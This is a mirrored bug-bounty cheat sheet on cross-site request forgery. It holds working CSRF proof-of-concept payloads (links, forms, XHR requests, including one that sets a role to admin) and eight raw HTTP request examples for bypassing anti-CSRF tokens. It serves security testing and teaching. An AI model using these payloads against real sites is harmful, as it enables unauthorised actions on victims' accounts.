mirror of
https://github.com/daffainfo/AllAboutBugBounty.git
synced 2024-12-18 18:36:12 +00:00
218 lines
5.2 KiB
Markdown
218 lines
5.2 KiB
Markdown
# Cross Site Request Forgery (CSRF)
|
|
|
|
## Introduction
|
|
Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated
|
|
|
|
## Where to find
|
|
Usually found in forms. Try submit the form and check the HTTP request. If the HTTP request does not have a CSRF token then it is likely to be vulnerable to a CSRF attack.
|
|
|
|
## How to exploit
|
|
1. HTML GET Method
|
|
|
|
```html
|
|
<a href="http://www.example.com/api/setusername?username=uname">Click Me</a>
|
|
```
|
|
|
|
2. HTML POST Method
|
|
|
|
```html
|
|
<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
|
|
<input name="username" type="hidden" value="uname" />
|
|
<input type="submit" value="Submit Request" />
|
|
</form>
|
|
```
|
|
|
|
3. JSON GET Method
|
|
```html
|
|
<script>
|
|
var xhr = new XMLHttpRequest();
|
|
xhr.open("GET", "http://www.example.com/api/currentuser");
|
|
xhr.send();
|
|
</script>
|
|
```
|
|
|
|
4. JSON POST Method
|
|
```html
|
|
<script>
|
|
var xhr = new XMLHttpRequest();
|
|
xhr.open("POST", "http://www.example.com/api/setrole");
|
|
xhr.withCredentials = true;
|
|
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
|
|
xhr.send('{"role":admin}');
|
|
</script>
|
|
```
|
|
|
|
5. Multipart request
|
|
```html
|
|
<head>
|
|
<title>Multipart CSRF PoC</title>
|
|
</head>
|
|
<body>
|
|
<br>
|
|
<hr>
|
|
<h2>Click Submit request</h2><br>
|
|
<script>
|
|
function submitRequest()
|
|
{
|
|
var xhr = new XMLHttpRequest();
|
|
xhr.open("POST", "https://example/api/users", true);
|
|
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
|
|
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
|
|
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------149631704917378");
|
|
xhr.withCredentials = true;
|
|
var body = "-----------------------------149631704917378\r\n" +
|
|
"Content-Disposition: form-data; name=\"action\"\r\n" +
|
|
"\r\n" +
|
|
"update\r\n" +
|
|
"-----------------------------149631704917378\r\n" +
|
|
"Content-Disposition: form-data; name=\"user_id\"\r\n" +
|
|
"\r\n" +
|
|
"1\r\n" +
|
|
"-----------------------------149631704917378\r\n" +
|
|
"Content-Disposition: form-data; name=\"uname\"\r\n" +
|
|
"\r\n" +
|
|
"daffainfo\r\n" +
|
|
"-----------------------------149631704917378\r\n" +
|
|
"Content-Disposition: form-data; name=\"first_name\"\r\n" +
|
|
"\r\n" +
|
|
"m\r\n" +
|
|
"-----------------------------149631704917378\r\n" +
|
|
"Content-Disposition: form-data; name=\"last_name\"\r\n" +
|
|
"\r\n" +
|
|
"daffa\r\n" +
|
|
"-----------------------------149631704917378--\r\n";
|
|
var aBody = new Uint8Array(body.length);
|
|
for (var i = 0; i < aBody.length; i++)
|
|
aBody[i] = body.charCodeAt(i);
|
|
xhr.send(new Blob([aBody]));
|
|
}
|
|
</script>
|
|
<form action="#">
|
|
<input type="button" value="Submit request" onclick="submitRequest();" />
|
|
</form>
|
|
<br>
|
|
</body>
|
|
```
|
|
|
|
# Bypass CSRF Token
|
|
But in some cases, even though there is a CSRF token on the form on the website. CSRF tokens can still be bypassed by doing a few things:
|
|
|
|
1. Change single character
|
|
```
|
|
POST /register HTTP/1.1
|
|
Host: target.com
|
|
...
|
|
|
|
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
|
|
```
|
|
Try this to bypass
|
|
```
|
|
POST /register HTTP/1.1
|
|
Host: target.com
|
|
...
|
|
|
|
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaab
|
|
```
|
|
|
|
2. Sending empty value of token
|
|
```
|
|
POST /register HTTP/1.1
|
|
Host: target.com
|
|
...
|
|
|
|
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
|
|
```
|
|
Try this to bypass
|
|
```
|
|
POST /register HTTP/1.1
|
|
Host: target.com
|
|
...
|
|
|
|
username=dapos&password=123456&token=
|
|
```
|
|
|
|
3. Replace the token with same length
|
|
```
|
|
POST /register HTTP/1.1
|
|
Host: target.com
|
|
...
|
|
|
|
username=dapos&password=123456&token=aaaaaa
|
|
```
|
|
Try this to bypass
|
|
```
|
|
POST /register HTTP/1.1
|
|
Host: target.com
|
|
...
|
|
|
|
username=dapos&password=123456&token=aaabaa
|
|
```
|
|
4. Changing POST / GET method
|
|
```
|
|
POST /register HTTP/1.1
|
|
Host: target.com
|
|
...
|
|
|
|
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
|
|
```
|
|
Try this to bypass
|
|
```
|
|
GET /register?username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa HTTP/1.1
|
|
Host: target.com
|
|
...
|
|
```
|
|
|
|
5. Remove the token from request
|
|
```
|
|
POST /register HTTP/1.1
|
|
Host: target.com
|
|
...
|
|
|
|
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
|
|
```
|
|
Try this to bypass
|
|
```
|
|
POST /register HTTP/1.1
|
|
Host: target.com
|
|
...
|
|
|
|
username=dapos&password=123456
|
|
```
|
|
|
|
6. Use another user's valid token
|
|
```
|
|
POST /register HTTP/1.1
|
|
Host: target.com
|
|
...
|
|
|
|
username=dapos&password=123456&token=ANOTHER_VALID_TOKEN
|
|
```
|
|
|
|
7. Try to decrypt hash
|
|
```
|
|
POST /register HTTP/1.1
|
|
Host: target.com
|
|
...
|
|
|
|
username=dapos&password=123456&token=MTIzNDU2
|
|
```
|
|
MTIzNDU2 => 123456 with base64
|
|
|
|
8. Sometimes anti-CSRF token is composed by 2 parts, one of them remains static while the others one dynamic
|
|
```
|
|
POST /register HTTP/1.1
|
|
Host: target.com
|
|
...
|
|
|
|
username=dapos&password=123456&token=vi802jg9f8akd9j123
|
|
```
|
|
When we register again, the request like this
|
|
```
|
|
POST /register HTTP/1.1
|
|
Host: target.com
|
|
...
|
|
|
|
username=dapos&password=123456&token=vi802jg9f8akd9j124
|
|
```
|
|
If you notice "vi802jg9f8akd9j" part of the token remain same, you just need to send with only static part
|